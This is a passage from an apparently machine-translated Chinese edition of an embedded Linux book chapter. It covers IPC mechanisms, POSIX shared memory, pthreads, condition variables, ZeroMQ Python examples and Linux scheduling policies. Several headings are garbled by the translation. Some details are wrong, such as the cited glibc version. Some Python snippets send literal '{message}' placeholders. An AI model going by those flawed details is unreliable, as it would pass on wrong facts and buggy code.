这意味着将消息复制两次:第一次复制到等待区域,然后复制到目的地。 套接字、管道和消息队列就是这样的例子。 - -第二种方法不仅需要一种创建同时映射到两个(或更多)地址空间的内存的方法,而且还需要一种同步对该内存的访问的方法,例如,使用信号量或互斥锁。 - -POSIX 具有所有这些功能。 有一组较旧的 API 称为**system V IPC**,它提供消息队列、共享内存和信号量,但不如 POSIX 等价物灵活,因此我不在这里介绍它们。 `svipc(7)`上的手册页概述了这些功能,Michael Kerrisk 的*The Linux Programming Interface*和 W.Richard Stevens 的*Unix Network Programming*,*第 2 卷*中有更多详细信息。 - -基于消息的协议通常比共享内存更容易编程和调试,但如果消息较大或消息较多,则速度较慢。 - -### 基于消息的 IPC - -基于消息的 IPC 有几个选项,我将总结如下。 区分其中一个和另一个的属性如下: - -* 消息流是单向的还是双向的。 -* 数据流是没有消息边界的字节流还是保留边界的离散消息。 在后一种情况下,消息的最大大小很重要。 -* 邮件是否标记有优先级。 - -下表汇总了 FIFO、套接字和消息队列的这些属性: - -![](img/B11566_Table_01.jpg) - -我们将看到的基于消息的 IPC 的第一种形式是 Unix 套接字。 - -#### UNIX(或本地)套接字 - -**Unix 套接字**满足大多数要求,再加上对套接字 API 的熟悉,是迄今为止最常见的机制。 - -UNIX 套接字是使用`AF_UNIX`地址族创建的,并绑定到路径名。 对套接字的访问由套接字文件的访问权限确定。 与 Internet 套接字一样,套接字类型可以是`SOCK_STREAM`或`SOCK_DGRAM`,前者提供双向字节流,后者提供具有保留边界的离散消息。 UNIX 套接字数据报是可靠的,这意味着它们不会被丢弃或重新排序。 数据报的最大大小取决于系统,可通过`/proc/sys/net/core/wmem_max`获得。 通常为 100 KiB 或更高。 - -UNIX 套接字没有指示消息优先级的机制。 - -#### FIFO 和命名管道 - -**FIFO**和**命名管道**是,只是是相同事物的不同术语。 它们是匿名管道的扩展,当在 shell 中实现管道时,匿名管道用于父进程和子进程之间的通信。 - -FIFO 是一种特殊类型的文件,由`mkfifo(1)`命令创建。 与 Unix 套接字一样,文件访问权限决定谁可以读取和写入。 它们是单向的,这意味着有一个读取器,通常也有一个写入器,尽管可能有几个。 数据是纯字节流,但保证了小于与管道关联的缓冲区的消息的原子性。 换句话说,小于此大小的写入不会被拆分成几个较小的写入,因此只要您端的缓冲区大小足够大,您就可以一次读取整个消息。 在现代内核上,FIFO 缓冲区的默认大小为 64 KiB,可以使用`fcntl(2)`和`F_SETPIPE_SZ`来增加 FIFO 缓冲区的默认大小,直到`/proc/sys/fs/pipe-max-size`中的值(通常为 1 MiB)。 没有优先权的概念。 - -#### POSIX 消息队列 - -消息队列由名称标识,该名称必须以正斜杠`/`开头,并且只包含一个`/`字符:消息队列实际上保存在`mqueue`类型的伪文件系统中。 您可以创建一个队列,并通过返回文件描述符的`mq_open(3)`获取对现有队列的引用。 每条消息都有一个优先级,消息先根据优先级从队列中读取,然后再根据期限顺序从队列中读取。 消息最长可达`/proc/sys/kernel/msgmax`字节。 - -默认值为 8 KiB,但您可以通过将该值写入`/proc/sys/kernel/msgmax`,将其设置为 128 字节到 1 MiB 范围内的任意大小。 由于引用是文件描述符,因此可以使用`select(2)`、`poll(2)`和其他类似函数来等待队列中的活动。 - -有关详细信息,请参阅 Linux`mq_overview(7)`手册页。 - -### 基于消息的 IPC 概述 - -UNIX 套接字使用最频繁,因为它们提供了所需的所有功能,可能除了消息优先级之外。 它们在大多数操作系统上实现,因此可提供最大的可移植性。 - -FIFO 使用频率较低,主要是,因为它们缺少与**数据报**等效的数据。 另一方面,API 非常简单,因为它提供正常的`open(2)`、`close(2)`、`read(2)`和`write(2)`文件调用。 - -消息队列是该组中最不常用的。 内核中的代码路径没有像套接字(网络)和 FIFO(文件系统)调用那样进行优化。 - -还有更高级别的抽象,如 D-Bus,它们正从主流 Linux 迁移到嵌入式设备。 D-BUS 在表面下使用 Unix 套接字和共享内存。 - -### 基于共享内存的 IPC - -共享内存消除了在地址空间之间复制数据的需要,但引入了同步访问它的问题。 进程之间的同步通常使用信号量来实现。 - -#### POSIX 共享内存 - -要在进程之间共享内存,您必须创建一个新的内存区,然后将其映射到每个想要访问它的进程的地址空间,如下图所示: - -![Figure 17.4 – POSIX shared memory](img/B11566_17_04.jpg) - -图 17.4-POSIX 共享内存 - -命名 POSIX 共享内存段遵循我们在消息队列中遇到的模式。 段由名称标识,名称以`/`字符开头,且恰好有一个这样的字符: - -```sh -#define SHM_SEGMENT_NAME "/demo-shm" -``` - -`shm_open(3)`函数接受该名称并返回其文件描述符。 如果它还不存在,并且设置了`O_CREAT`标志,则创建一个新段。 最初,它的大小为零。 您可以使用(名称有误)`ftruncate(2)`函数将其扩展到所需的大小: - -```sh -int shm_fd; -struct shared_data *shm_p; -/* Attempt to create the shared memory segment */ -shm_fd = shm_open(SHM_SEGMENT_NAME, O_CREAT | O_EXCL | O_RDWR, 0666); -if (shm_fd > 0) { -    /* succeeded: expand it to the desired size (Note: dont't -   do this every time because ftruncate fills it with zeros) */ -    printf("Creating shared memory and setting size=%d\n", -            SHM_SEGMENT_SIZE); -    if (ftruncate(shm_fd, SHM_SEGMENT_SIZE) < 0) { -        perror("ftruncate"); -        exit(1); -    } -    […] -} else if (shm_fd == -1 && errno == EEXIST) { -    /* Already exists: open again without O_CREAT */ -    shm_fd = shm_open(SHM_SEGMENT_NAME, O_RDWR, 0); -    […] -} -``` - -一旦有了共享内存的描述符,就可以使用`mmap(2)`将其映射到进程的地址空间,以便不同进程中的线程可以访问内存: - -```sh -/* Map the shared memory */ -shm_p = mmap(NULL, SHM_SEGMENT_SIZE, PROT_READ | PROT_WRITE, -            MAP_SHARED, shm_fd, 0); -``` - -`MELP/Chapter17/shared-mem-demo`中的程序提供了使用共享内存段在进程之间通信的示例。 下面是`main`函数: - -```sh -static sem_t *demo_sem; -[…] -int main(int argc, char *argv[]) -{ -      char *shm_p; -      printf("%s PID=%d\n", argv[0], getpid()); -      shm_p = get_shared_memory(); -      while (1) { -          printf("Press enter to see the current contents of shm\n"); -          getchar(); -          sem_wait(demo_sem); -          printf("%s\n", shm_p); -          /* Write our signature to the shared memory */ -          sprintf(shm_p, "Hello from process %d\n", getpid()); -          sem_post(demo_sem); -      } -      return 0; -} -``` - -该程序使用共享内存段将消息从一个进程传递到另一个进程。 消息为`Hello from process string`,后跟其 PID。 `get_shared_memory`函数负责创建内存段(如果它不存在),或者如果它存在,则获取它的文件描述符。 它返回指向内存段的指针。 请注意,有一个信号量用于同步对内存的访问,以便一个进程不会覆盖来自另一个进程的消息。 - -要试用它,您需要在单独的终端会话中运行该程序的两个实例。 在第一个终端中,您将看到类似以下内容: - -```sh -# ./shared-mem-demo -./shared-mem-demo PID=271 -Creating shared memory and setting size=65536 -Press enter to see the current contents of shm -Press enter to see the current contents of shm -Hello from process 271 -``` - -因为这是该程序第一次运行,所以它创建了内存段。 最初,消息区是空的,但在循环运行一次之后,它包含此进程的 PID,即`271`。 现在,您可以在另一个终端中运行第二个实例: - -```sh -# ./shared-mem-demo -./shared-mem-demo PID=279 -Press enter to see the current contents of shm -Hello from process 271 -Press enter to see the current contents of shm -Hello from process 279 -``` - -它不创建共享内存段,因为它已经存在,并且它显示它已经包含的消息,这是另一个程序的 PID。 按*Enter*使其写入自己的 PID,第一个程序将能够看到该 PID。 通过这样做,这两个程序可以相互通信。 - -POSIX IPC 函数是 POSIX 实时扩展的一部分,因此您需要将它们与`librt`链接起来。 奇怪的是,POSIX 信号量是在 POSIX 线程库中实现的,因此您还需要链接到 pthread 库。 因此,当您以 ARM Cortex-A8 SoC 为目标时,编译参数如下: - -```sh -$ arm-cortex_a8-linux-gnueabihf-gcc shared-mem-demo.c -lrt -pthread \ --o arm-cortex_a8-linux-gnueabihf-gcc -``` - -我们对 IPC 方法的调查到此结束。 当我们讨论 ZeroMQ 时,我们将再次讨论基于消息的 IPC。 现在,我们来看看多线程进程。 - -# 螺纹 - -线程的编程接口是 POSIX 线程 API,它最初是在 IEEE POSIX 1003.1c 标准(1995)中定义的,它是,通常称为**pthreads**。 它作为`libpthread.so`C 库的附加部分实现。 在过去 15 年左右的时间里,有两个个 pthread 实现:**LinuxThreads**和**原生 POSIX 线程库**(**NPTL**)。 后者更符合规范,特别是在信号和进程 ID 的处理方面。 它现在相当占主导地位,但是您可能会遇到一些使用 LinuxThread 的旧版本的`uClibc`。 - -## 创建新线程 - -可用于创建线程的函数为`pthread_create(3)`: - -```sh -int pthread_create(pthread_t *thread, const pthread_attr_t *attr, -      void *(*start_routine) (void *), void *arg); -``` - -它创建一个从`start_routine`函数开始的新执行线程,并在`pthread_t`中放置一个描述符,该描述符由`thread`指向。 它继承调用线程的调度参数,但可以通过传递指向`attr`中线程属性的指针来覆盖这些参数。 线程将立即开始执行。 - -`pthread_t`是引用程序内线程的主要方式,但也可以使用命令`ps -eLf`从外部查看该线程: - -```sh -UID PID PPID LWP C NLWP STIME TTY TIME CMD -... -chris 6072 5648 6072 0 3 21:18 pts/0 00:00:00 ./thread-demo -chris 6072 5648 6073 0 3 21:18 pts/0 00:00:00 ./thread-demo -``` - -在前面的输出中,`thread-demo`程序有两个线程。 正如您所预期的那样,`PID`和`PPID`列显示它们都属于相同的进程,并且具有相同的父级。 不过,标有`LWP`的那一栏很有趣。 **LWP**代表**轻量级进程**,在上下文中,它是线程的另一个名称。 该列中的数字是,也称为**线程 ID**或**TID**。 在主线程中,TID 与 PID 相同,但对于其他线程,它是一个不同(更高)的值。 您可以在文档中规定必须指定 PID 的地方使用 TID,但请注意,此行为特定于 Linux,不可移植。 下面是一个简单的程序,它演示了线程的生命周期(代码在`MELP/Chapter17/thread-demo`中): - -```sh -#include -#include -#include -#include -static void *thread_fn(void *arg) -{ -      printf("New thread started, PID %d TID %d\n", -          getpid(), (pid_t)syscall(SYS_gettid)); -      sleep(10); -      printf("New thread terminating\n"); -      return NULL; -} -int main(int argc, char *argv[]) -{ -      pthread_t t; -      printf("Main thread, PID %d TID %d\n", -          getpid(), (pid_t)syscall(SYS_gettid)); -      pthread_create(&t, NULL, thread_fn, NULL); -      pthread_join(t, NULL); -      return 0; -} -``` - -注意,在`thread_fn`函数中,我使用`syscall(SYS_gettid)`检索 TID。 在`glibc`2.80 之前,您必须通过`syscall`直接调用 Linux,因为`gettid()`没有 C 库包装器。 - -给定内核可以调度的线程总数是有限制的。 这一限制根据系统的大小进行调整,从小型设备上的 1000 个左右到大型嵌入式设备上的数万个。 实际数字在`/proc/sys/kernel/threads-max`中提供。 一旦达到此限制,Fork 和`pthread_create` -将失败。 - -## 终止线程 - -当发生以下任一情况时,线程将终止: - -* 它到达了它的`start_routine`的末尾。 -* 它调用`pthread_exit(3)`。 -* 它被另一个调用`pthread_cancel(3)`的线程取消。 -* 例如,由于线程调用`exit(3)`或进程接收到未处理、屏蔽、 - 或忽略的信号,包含该线程的进程终止。 - -请注意,如果多线程程序调用`fork`,则新子进程中将只存在进行调用的线程。 Fork 不会复制所有线程。 - -线程有一个返回值,它是一个空指针。 一个线程可以通过调用`pthread_join(2)`等待另一个线程终止并收集其返回值。 正如我们在上一节中提到的,在`thread-demo`的代码中有一个这样的示例。 这会产生一个与进程间的僵尸问题非常相似的问题:线程的资源(如堆栈)在另一个线程加入之前无法释放。 如果线程保持*未联接*,则程序中存在资源泄漏。 - -## 用线程编译程序 - -对 POSIX 线程的支持是`libpthread.so`库中 C 库的一部分。 然而,使用线程构建程序不只是链接库:编译器生成代码的方式必须改变,以确保某些全局变量(如`errno`)每个线程有一个实例,而不是整个进程有一个实例。 - -给小费 / 翻倒 / 倾覆 - -构建线程化程序时,必须将`-pthread`开关添加到编译和链接阶段。 但是,您不必像使用`-pthread`那样也使用`-lpthread`进行链接阶段。 - -## 线程间通信 - -线程的最大优势是它们共享地址空间,并且可以共享内存变量。 这也是一个很大的缺点,因为它需要同步来保持数据一致性,其方式类似于进程之间共享的内存段,但前提是使用线程,所有内存都是共享的。 实际上,线程可以使用**线程本地存储**(**TLS**)创建私有内存,但我不会在这里介绍这一点。 - -`pthreads`接口提供了实现同步所需的基础:互斥和条件变量。 如果你想要更复杂的结构,你必须自己建造。 - -值得注意的是,我们前面描述的所有 IPC 方法-即套接字、管道和消息队列-在同一进程中的线程之间工作得同样好。 - -## 互斥 - -要编写健壮的程序,需要使用互斥锁保护每个共享资源,并确保读取或写入资源的每个代码路径都首先锁定了互斥锁。 如果你始终如一地应用这条规则,大多数问题都应该得到解决。 剩下的那些与互斥锁的基本行为相关。 我将在这里简要地列出它们,但不会太详细: - -* **死锁**:当互斥锁被永久锁定时会发生这种情况。 一种经典的情况是**致命拥抱**,其中两个线程各需要两个互斥锁,并且设法锁定了其中一个而没有锁定另一个。 每个线程都阻塞,等待另一个线程拥有的锁,因此它们保持原样。 避免致命拥抱问题的一条简单规则是确保互斥锁始终以相同的顺序锁定。 其他解决方案包括超时和退避时段。 -* **优先级反转**:等待互斥锁导致的延迟可能会导致实时线程错过最后期限。 优先级反转的具体情况发生在高优先级线程被阻塞,等待由低优先级线程锁定的互斥体时。 如果低优先级线程被其他中等优先级线程抢占,则高优先级线程将被迫等待无限的时间长度。 存在称为**优先级继承**和**优先级上限**的互斥协议,它们解决了问题,但代价是每次锁定和解锁调用都会在内核中产生更大的处理开销。 -* **性能差**:Mutex 给代码带来的开销最小,只要线程在大部分时间内不必阻塞它们。 但是,如果您的设计中有许多线程都需要的资源,那么争用比率就会变得很大。 这通常是一个设计问题,可以使用更细粒度的锁定或不同的算法来解决。 - -Mutex 并不是线程之间同步的唯一方式。 在介绍 POSIX 共享内存时,我们见证了两个进程如何使用信号量相互通知对方。 线程具有类似的结构。 - -## 不断变化的条件 - -协作的线程需要能够相互提醒某些事情发生了变化,需要关注。 这称为**条件**,通过**条件变量**或**condvar**发送警报。 - -条件就是您可以测试以给出`true`或`false`结果的东西。 一个简单的例子是包含零个或一些项的缓冲区。 一个线程从缓冲区中取出项目,并在它为空时休眠。 另一个线程将项放入缓冲区,并通知另一个线程它已经这样做了,因为另一个线程正在等待的条件已经改变。 如果它在睡觉,它需要醒来,做点什么。 唯一的复杂性是,根据定义,该条件是共享资源,因此必须由互斥保护。 - -下面是一个包含两个线程的简单程序。 第一个是生产者:它每秒唤醒一次,并将一些数据放入全局变量中,然后发出信号表示发生了变化。 第二个线程是消费者:它等待条件变量,并在每次唤醒时测试条件(缓冲区中有一个非零长度的字符串)。 您可以在`MELP/Chapter17/condvar-demo`中找到代码: - -```sh -#include -#include -#include -#include -#include -char g_data[128]; -pthread_cond_t cv = PTHREAD_COND_INITIALIZER; -pthread_mutex_t mutx = PTHREAD_MUTEX_INITIALIZER; -void *consumer(void *arg) -{ -      while (1) { -          pthread_mutex_lock(&mutx); -          while (strlen(g_data) == 0) -               pthread_cond_wait(&cv, &mutx); -          /* Got data */ -          printf("%s\n", g_data); -          /* Truncate to null string again */ -          g_data[0] = 0; -          pthread_mutex_unlock(&mutx); -      } -      return NULL; -} -void *producer(void *arg) -{ -      int i = 0; -      while (1) { -          sleep(1); -          pthread_mutex_lock(&mutx); -          sprintf(g_data, "Data item %d", i); -          pthread_mutex_unlock(&mutx); -          pthread_cond_signal(&cv); -          i++; -      } -      return NULL; -} -``` - -请注意,当使用者线程在 condvar 上阻塞时,它是在持有锁定的互斥锁的情况下执行此操作的,这似乎是生产者线程下次尝试更新条件时死锁的秘诀。 为了避免这种情况,`pthread_condwait(3)`在线程被阻塞后解锁互斥锁,然后在唤醒它并从等待中返回之前再次锁定它。 - -## 划分问题 - -既然我们已经介绍了进程和线程的基础知识以及它们的通信方式,现在是时候看看我们可以对它们做些什么了。 - -以下是我在构建系统时使用的一些规则: - -* **规则 1**:将具有大量交互的任务放在一起:通过将互操作线程紧密地放在一个进程中,将开销降至最低,这一点很重要。 -* **规则 2**:不要把所有线程放在一个篮子里:另一方面,出于弹性和模块化的考虑,尽量将交互有限的组件放在单独的进程中。 -* **规则 3**:不要在同一进程中混合关键和非关键线程:这是*规则 2*的延伸:系统的关键部分(可能是机器控制程序)应该尽可能保持简单,并以比其他部分更严格的方式编写。 即使其他进程失败,它也必须能够继续运行。 如果您有实时线程,根据定义,它们必须是关键的,并且应该自己进入进程。 -* **规则 4**:线程不应该太亲密:编写多线程程序时的一个诱惑是在线程之间混合代码和变量,因为这是一个多功能一体的程序,很容易做到。 通过定义良好的交互,使线程保持模块化。 -* **规则 5**:不要认为线程是免费的:创建额外的线程非常容易,但这是有代价的,尤其是在协调它们的活动所需的额外同步方面。 -* **规则 6**:线程可以并行工作:线程可以在多核处理器上同时运行,从而提供更高的吞吐量。 如果您的计算任务很大,您可以为每个内核创建一个线程并最大限度地利用硬件。 有一些库可以帮助您做到这一点,例如 OpenMP。 您可能不应该从头开始编写并行编程算法。 - -Android 的设计就是一个很好的例证。 每个应用都是一个独立的 Linux 进程,有助于模块化内存管理,并确保一个应用崩溃不会影响整个系统。 进程模型还用于访问控制:进程只能访问其 UID 和 GID 允许的文件和资源。 每个进程中都有一组线程。 一个用于管理和更新用户界面,一个用于处理来自操作系统的信号,几个用于管理动态内存分配和释放 Java 对象,以及一个至少由两个线程组成的工作池,用于使用绑定器协议从系统的其他部分接收消息。 - -总而言之,进程提供弹性,因为每个进程都有一个受保护的内存空间,并且当进程终止时,所有资源(包括内存和文件描述符)都会被释放,从而减少资源泄漏。 另一方面,线程共享资源,可以通过共享变量轻松通信,并可以通过共享对文件和其他资源的访问进行协作。 线程通过工作池和其他抽象实现并行性,这在多核处理器中很有用。 - -# ZeroMQ - -套接字、命名管道和共享内存是进程间通信的方式。 它们充当构成大多数重要应用的消息传递过程的传输层。 并发原语(如互斥锁和条件变量)用于管理共享访问,并协调在同一进程内运行的线程之间的工作。 多线程编程是出了名的困难,套接字和命名管道有它们自己的一组陷阱。 需要更高级别的 API 来抽象异步消息传递的复杂细节。 输入 ZeroMQ。 - -**ZeroMQ**是一个异步消息库,其作用类似于并发框架。 它具有进程内、进程间、TCP 和多播传输功能,以及各种编程语言(包括 C、C++、GO 和 Python)的绑定。 这些绑定,加上 ZeroMQ 基于套接字的抽象,允许团队在同一分布式应用中轻松混合编程语言。 库中还内置了对常见消息传递模式(如请求/回复、发布/订阅和并行管道)的支持。 ZeroMQ 中的*零*代表*零成本*,而*MQ*部分代表*消息队列*。 - -我们将使用 ZeroMQ 探索基于进程间和进程内消息的通信。 让我们从安装 ZeroMQ for Python 开始。 - -## 获取 pyzmq - -我们将在中使用 ZeroMQ 的官方 Python 绑定进行以下练习。 我建议在新的虚拟环境中安装此`pyzmq`包。 如果您的系统上已经有`conda`,那么创建 Python 虚拟环境就很容易。 以下是使用`conda`配置必要虚拟环境的步骤: - -1. 导航到包含示例的`zeromq`目录: - - ```sh - (base) $ cd MELP/Chapter17/zeromq - ``` - -2. 创建名为`zeromq`: - - ```sh - (base) $ conda create –-name zeromq python=3.9 pyzmq - ``` - - 的新虚拟环境 -3. 激活您的新虚拟环境: - - ```sh - (base) $ source activate zeromq - ``` - -4. 检查 Python 版本是否为 3.9: - - ```sh - (zeromq) $ python –-version - ``` - -5. 列出您的环境中已安装的软件包: - - ```sh - (zeromq) $ conda list - ``` - -如果您在包列表中看到`pyzmq`及其依赖项,那么您现在就可以运行以下练习了。 - -## 进程之间的消息传递 - -我们将从一个简单的回应服务器开始我们对 ZeroMQ 的探索。 服务器期望来自客户端的字符串形式的名称,并回复`Hello `。 代码在`MELP/Chapter17/zeromq/server.py`中: - -```sh -import time -import zmq -context = zmq.Context() -socket = context.socket(zmq.REP) -socket.bind("tcp://*:5555") -while True: -    # Wait for next request from client -    message = socket.recv() -    print(f"Received request: {message}") -    # Do some 'work' -    time.sleep(1) -    # Send reply back to client -    socket.send(b"Hello {message}") -``` - -服务器进程为其响应创建`REP`类型的套接字,将该套接字绑定到端口`5555`,然后等待消息。 1 秒的休眠用于模拟在接收请求和发回回复之间正在进行的某些工作。 - -回应客户端的代码在`MELP/Chapter17/zeromq/client.py`中: - -```sh -import zmq -def main(who): -    context = zmq.Context() -    #  Socket to talk to server -    print("Connecting to hello echo server…") -    socket = context.socket(zmq.REQ) -    socket.connect("tcp://localhost:5555") -    #  Do 5 requests, waiting each time for a response -    for request in range(5): -        print(f"Sending request {request} …") -        socket.send(b"{who}") -        # Get the reply. -        message = socket.recv() -        print(f"Received reply {request} [ {message} ]") -if __name__ == '__main__': -    import sys -    if len(sys.argv) != 2: -        print("usage: client.py ") -        raise SystemExit -    main(sys.argv[1]) -``` - -客户端进程将用户名作为命令行参数。 客户端为请求创建 -类型的套接字,连接到侦听端口`5555`的服务器进程,并开始发送包含传入的用户名的消息。 与服务器中的`socket.recv()`类似,客户端中的`socket.recv()`会阻塞,直到消息到达队列。 - -要查看 ECHO 服务器和客户端代码的运行情况,请激活您的`zeromq`虚拟环境并从`MELP/Chapter17/zeromq`目录运行`planets.sh`脚本: - -```sh -(zeromq) $ ./planets.sh -``` - -`planets.sh`脚本生成三个客户端进程,分别称为`Mars`、`Jupiter`和`Venus`。 我们可以看到,来自三个客户端的请求是交错的,因为每个客户端都在发送下一个请求之前等待来自服务器的回复。 由于每个客户端发送 5 个请求,我们应该总共收到来自服务器的 15 个回复。 使用 ZeroMQ,基于消息的 IPC 非常简单。 现在,让我们使用 Python 的内置`asyncio`模块以及 ZeroMQ 来进行进程内消息传递。 - -## 进程内的消息传递 - -`asyncio`模块是在版本 3.4 的 Python 中引入的。 它添加了一个可插拔的 -事件循环,用于使用协程执行单线程并发代码。 **Python 中的协程**(也称为,也称为*绿色线程*)是用`async`/`await`语法声明的,这是从 C#中采用的。 它们比 POSIX 线程轻得多,工作起来更像是可恢复的函数。 因为协程在事件循环的单线程上下文中操作,所以我们可以结合使用`pyzmq`和`asyncio`进行进程内基于套接字的消息传递。 - -以下是取自 -[https://github.com/zeromq/pyzmq](https://github.com/zeromq/pyzmq)存储库中的一个协程示例的略微修改的版本: - -```sh -import time -import zmq -from zmq.asyncio import Context, Poller -import asyncio -url = 'inproc://#1' -ctx = Context.instance() -async def receiver(): -    """receive messages with polling""" -    pull = ctx.socket(zmq.PAIR) -    pull.connect(url) -    poller = Poller() -    poller.register(pull, zmq.POLLIN) -    while True: -        events = await poller.poll() -        if pull in dict(events): -            print("recving", events) -            msg = await pull.recv_multipart() -            print('recvd', msg) -async def sender(): -    """send a message every second""" -    tic = time.time() -    push = ctx.socket(zmq.PAIR) -    push.bind(url) -    while True: -        print("sending") -        await push.send_multipart([str(time.time() - tic).encode('ascii')]) -        await asyncio.sleep(1) -asyncio.get_event_loop().run_until_complete( -    asyncio.wait( -        [ -            receiver(), -            sender(), -        ] -    ) -) -``` - -请注意,`receiver()`和`sender()`协程共享相同的上下文。 套接字的`url`部分中指定的`inproc`传输方法用于线程间通信,比我们在上一个示例中使用的`tcp`传输快得多。 `PAIR`模式以独占方式连接两个套接字。 与`inproc`传输类似,此消息传递模式只在进程内工作,并用于线程之间的信号传递。 `receiver()`或`sender()`协同例程都不返回。 `asyncio`事件循环在两个协程之间交替,在阻塞或完成 I/O 时暂停和恢复每个协程。 - -要从活动的`zeromq`虚拟环境中运行协程示例,请使用以下命令: - -```sh -(zeromq) $ python coroutines.py -``` - -`sender()`将时间戳发送到显示时间戳的`receiver()`。 使用*Ctrl+C*终止该进程。 祝贺你!。 您刚刚看到了没有使用显式线程的进程内异步消息传递。 关于协程和`asyncio`,还有很多要说和要学的。 这个例子只是为了让您体验一下在与 ZeroMQ 配合使用时,Python 现在可以实现的功能。 让我们暂时把单线程事件循环放在一边,回到 Linux 这个主题上来。 - -# 排程 - -本章我想要讨论的第二个大主题是调度。 Linux 调度器有一个准备运行的线程队列,它的任务是在 CPU 可用时对它们进行调度。 每个线程都有一个调度策略,该策略可以是分时的,也可以是实时的。 分时线程有一个**nicness**值,可以增加或减少它们的 CPU 时间。 实时线程具有**优先级**,因为较高优先级线程将抢占较低优先级线程。 调度程序使用线程,而不是进程。 无论每个线程在哪个进程中运行,都会对其进行调度。 - -发生以下任一情况时,计划程序都会运行: - -* 线程通过调用`sleep()`或另一个阻塞系统调用来阻塞 -* 分时线程耗尽了它的时间片 -* 中断会导致线程解除阻塞,例如,因为 - I/O 完成 - -有关 Linux 调度器的背景信息,我建议您阅读 Robert Love 在*Linux Kernel Development*,第 3 版中关于进程调度的章节。 - -## 公平与决定论 - -我将调度策略分为两类:分时调度策略和实时调度策略。 分时策略基于*公平*原则。 它们的设计目的是确保每个线程获得相当数量的处理器时间,并且没有线程可以独占系统。 如果线程运行的时间太长,它会被放在队列的后面,这样其他线程就可以开始运行了。 同时,公平策略需要针对正在做大量工作的线程进行调整,并为它们提供完成工作所需的资源。 分时计划很好,因为它可以自动调整以适应广泛的工作负载。 - -另一方面,如果你有一个实时的节目,公平是没有帮助的。 在这种情况下,您需要一个**确定性**的策略,它将至少为您提供最低限度的保证,即您的实时线程将在正确的时间被调度,这样它们就不会错过 -的最后期限。 这意味着实时线程必须抢占分时线程。 实时线程还具有静态优先级,当有多个实时线程要同时运行时,调度程序可以使用该优先级在它们之间进行选择。 Linux 实时调度器实现了运行最高优先级实时线程的相当标准的算法。 大多数 RTOS 调度器也是以这种方式编写的。 - -这两种类型的线程可以共存。 需要确定性调度的线程首先被调度,剩余的时间在分时线程之间分配。 - -## 分时保单 - -分时策略是为公平而设计的。 从 Linux 2.6.23 开始,使用的调度器是**完全公平调度器**(**CFS**)。 它没有使用正常意义上的时间片。 取而代之的是,它计算线程有权运行的时间长度(如果它有合理的 CPU 时间份额),并将其与实际运行的时间进行平衡。 如果它超出了其权限,并且有其他分时线程等待运行,则调度程序将挂起该线程并改为运行等待线程。 - -分时保单如下: - -* `SCHED_NORMAL`(也称为`SCHED_OTHER`):这是默认策略。 绝大多数 Linux 线程都使用此策略。 -* `SCHED_BATCH`:这类似于`SCHED_NORMAL`,不同之处在于线程的调度粒度更大;也就是说,它们运行的时间更长,但必须等待更长的时间才能再次调度。 这样做的目的是减少用于后台处理(批处理作业)的上下文切换次数,并减少 CPU 缓存搅拌量。 -* `SCHED_IDLE`:仅当没有来自任何其他策略的线程可供运行时,才会运行这些线程。 这是可能的最低优先级。 - -有两对函数可用于获取和设置线程的策略和优先级。 第一对将 PID 作为参数,并影响进程中的主线程: - -```sh -struct sched_param { -      ... -      int sched_priority; -      ... -}; -int sched_setscheduler(pid_t pid, int policy, -      const struct sched_param *param); -int sched_getscheduler(pid_t pid); -``` - -第二对对`pthread_t`进行操作,并且可以更改进程中其他线程的参数: - -```sh -int pthread_setschedparam(pthread_t thread, int policy, -      const struct sched_param *param); -int pthread_getschedparam(pthread_t thread, int *policy, -      struct sched_param *param); -``` - -有关线程策略和优先级的更多信息,请参见`sched(7)`手册页。 现在我们知道了什么是分时政策和优先事项,让我们来谈谈友善吧。 - -### 善良 / 和蔼可亲 - -一些分时的线程比其他线程更重要。 您可以用`nice`值来表示这一点,该值将线程的 CPU 权限乘以一个比例因子。 该名称来自函数调用`nice(2)`,它从早期就是 Unix 的一部分。 线程通过减少其在系统上的负载或通过增加线程向相反方向移动来变得更好。 值的范围从非常好的`19`到非常不好的`-20`。 缺省值是`0`,这是一个中等不错的值,也就是一般。 - -可以更改`SCHED_NORMAL`和`SCHED_BATCH`线程的`nice`值。 要减少 NICE,这会增加 CPU 负载,您需要`CAP_SYS_NICE`功能,该功能对`root`用户可用。 有关功能的更多信息,请参阅`capabilities(7)`手册页。 - -几乎所有关于更改`nice`值的函数和命令(`nice(2)`以及`nice`和`renice`命令)的文档都是从进程的角度进行讨论的。 然而,它实际上与线程有关。 正如我们在前面的部分中提到的,您可以使用 TID 代替 PID 来更改单个线程的 nice 值。 `nice`的标准描述中的另一个差异是:`nice`值被称为线程的优先级(有时被错误地称为进程)。 我认为这是误导,混淆了实时优先的概念,这是完全不同的事情。 - -## 实时策略 - -实时策略旨在实现确定性。 实时调度程序将始终运行准备运行的最高优先级实时线程。 实时线程总是抢占分时共享线程。 本质上,通过选择实时策略而不是分时策略,您是在说您对此线程的预期调度有深入的了解,并且希望覆盖调度器的内置假设。 - -有两个实时策略: - -* `SCHED_FIFO`:这是一种**Run to Complete**算法,这意味着一旦线程开始运行,它将继续运行,直到它被更高优先级的实时线程抢占,在系统调用中被阻塞,或者直到它终止(完成)。 -* `SCHED_RR`:这是一种**循环**算法,如果相同优先级的线程超过其时间片(默认情况下为 100ms),该算法将在这些线程之间循环。 从 Linux3.9 开始,可以通过`/proc/sys/kernel/sched_rr_timeslice_ms`控制`timeslice`值。 除此之外,它的行为方式与`SCHED_FIFO`相同。 - -每个实时线程的优先级在`1`到`99`的范围内,其中`99`是最高的。 - -要为线程提供实时策略,您需要`CAP_SYS_NICE`,默认情况下它只提供给 root 用户。 - -实时调度的一个问题,无论是就 Linux 还是其他方面而言,都是因为错误导致线程无限循环而变成计算受限的线程,这将阻止优先级较低的实时线程与所有分时共享线程一起运行。 在这种情况下,系统会变得不稳定,并可能完全锁定。 有几种方法可以防止这种可能性。 - -首先,从 Linux2.6.25 开始,调度器默认为非实时线程保留了 5%的 CPU 时间,因此即使是失控的实时线程也不能完全停止系统。 它通过两个内核控件进行配置: - -* `/proc/sys/kernel/sched_rt_period_us` -* `/proc/sys/kernel/sched_rt_runtime_us` - -它们的默认值分别为 1,000,000(1 秒)和 950,000(950 毫秒),这意味着每秒钟保留 50 毫秒用于非实时处理。 如果您希望实时线程能够占用 100%,则将`sched_rt_runtime_us`设置为`-1`。 - -第二种选择是使用监视程序(硬件或软件)来监视关键线程的执行,并在它们开始错过最后期限时采取行动。 我在[*第 13 章*](13.html#_idTextAnchor391),*启动-init 程序*中提到了看门狗。 - -## 选择策略 - -实际上,分时策略可以满足大多数计算工作负载。 受 I/O 